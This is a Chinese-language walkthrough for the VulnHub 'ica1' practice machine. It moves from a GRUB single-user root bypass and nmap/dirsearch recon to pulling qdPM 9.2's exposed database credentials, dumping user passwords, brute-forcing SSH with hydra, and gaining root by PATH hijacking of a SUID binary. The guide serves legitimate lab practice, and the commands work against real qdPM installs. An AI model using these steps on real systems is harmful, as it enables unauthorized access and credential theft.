ica1靶机攻略
第一步搭建环境
靶机下载地址:https://download.vulnhub.com/ica/ica1.zip
下载好了直接用VM打开即可
安装好了以后,右击虚拟机设置,把网络连接模式,改成nat
到这里我们需要改一下,这个靶机的网卡配置,一般都有问题,
我们先把靶机关机。
然后,开机长按shift建,(注意手速一定要快)
然后按e键进入修改界面找到 ro ******** 这一部分,可能有所差异,如果ro后面有字符 则直接在后面添加 rw single init=/bin/bash 如果没有字符则直接将ro改为 rw single init=/bin/bash。
ctrl+x保存
再按e修改网络配置文件 /etc/network/interfaces 文件(没有的话去/etc/netplan目录下的yaml文件),如果/输不出来就一级级目录跳转。将里面的内容修改为下图所示。然后重启虚拟机。
不改这个会扫不到网卡
第二步信息收集
查看一下靶机网段,右击设置虚拟网络编辑器
看到靶机网段了以后,打开我们的kali用nmap工具扫描一下存活主机和开放端口。
nmap 192.168.109.1/24
可以看到靶机的IP地址了,拿浏览器访问一下。
看到它是qdPM 9.2
qdPM 9.2 是一个基于 Web 的项目管理和缺陷跟踪系统,属于较旧版本(最新版本为 9.3+)。以下是其关键信息:
1. 主要漏洞(安全风险)
- 跨站请求伪造(CSRF):可通过伪造请求执行未授权操作(如修改密码、删除数据),GitHub Advisory Database 有相关记录。
- 目录遍历漏洞:可访问
/uploads/
目录下的敏感文件(如配置文件、日志),导致信息泄露。 - 数据库配置文件暴露:
/core/config/databases.yml
文件以明文形式存储数据库用户名和密码,可直接下载。
2. 漏洞利用方式
- 未授权访问数据库:通过访问
http://目标IP/core/config/databases.yml
获取数据库连接信息(如用户名、密码),进而通过 MySQL 客户端连接数据库。 - 暴力破解 SSH:利用从数据库获取的 SSH 账号密码(如
travis
/dexter
用户),通过hydra
等工具爆破 SSH 登录。 - 提权操作:通过替换系统命令(如
cat
)为恶意脚本,利用 SUID 权限执行任意命令,获取 root 权限。
然后我们用目录探测工具探测一下它有什么目录
用kali的dirsearch工具
dirsearch -u http://192.168.109.158
没有这个工具的话,用下面命令下载一下就好了
apt install dirsearch
然后漏洞查询一下
searchsploit qdPM 9.2
searchsploi用于搜索 Exploit-DB(https://www.exploit-db.com/)中的漏洞利用代码。
发现源码密码信息泄露,查找这个文件位置,并查看
locate 50176.txt
cat /usr/share/exploitdb/exploits/php/webapps/50176.txt
他说数据库连接密码从这个网站下载
http://<website>/core/config/databases.yml
那个website就是你靶机的ip
直接访问一下这个文件
有了数据库的账号和密码
qdpmadmin
UcVQCMQk2STVeS6J
第三步web渗透
我还是用的kali
mysql -u qdpmadmin -h 192.168.109.158 -p
然后输入密码(注意密码这里不显示)连不上的话重启一下靶机有可能掉了
show databases;
show tables;
查看数据库和表中有没有什么有用的信息,数据库命令这里就不多说了,不知道可以去查一下
这里查到一堆账号密码信息,密码需要base64解码找个网站解码一下
账号
Smith
Lucas
Travis
Dexter
Meyer
密码
suRJAdGwLp8dy3rF
7ZwV4qtg42cmUXGX
X7MQkP3W29fewHdC
DJceVy98W28Y7wLg
cqNnBWCByS2DuJSy
拿去爆破一下那个账号对应哪个密码可以连上ssh ,1.txt放账号2.txt放密码
hydra -L 1.txt -P 2.txt ssh://192.168.109.158
然后用kali连接ssh
ssh travis@192.168.109.158
查找一下没东西,切换用户看一下note.txt
第四步提权
strings /opt/get_access
然后配置环境变量
echo "/bin/bash" > /tmp/cat
export PATH=/tmp:$PATH
chmod +x /tmp/cat
echo $PATH
/opt/get_access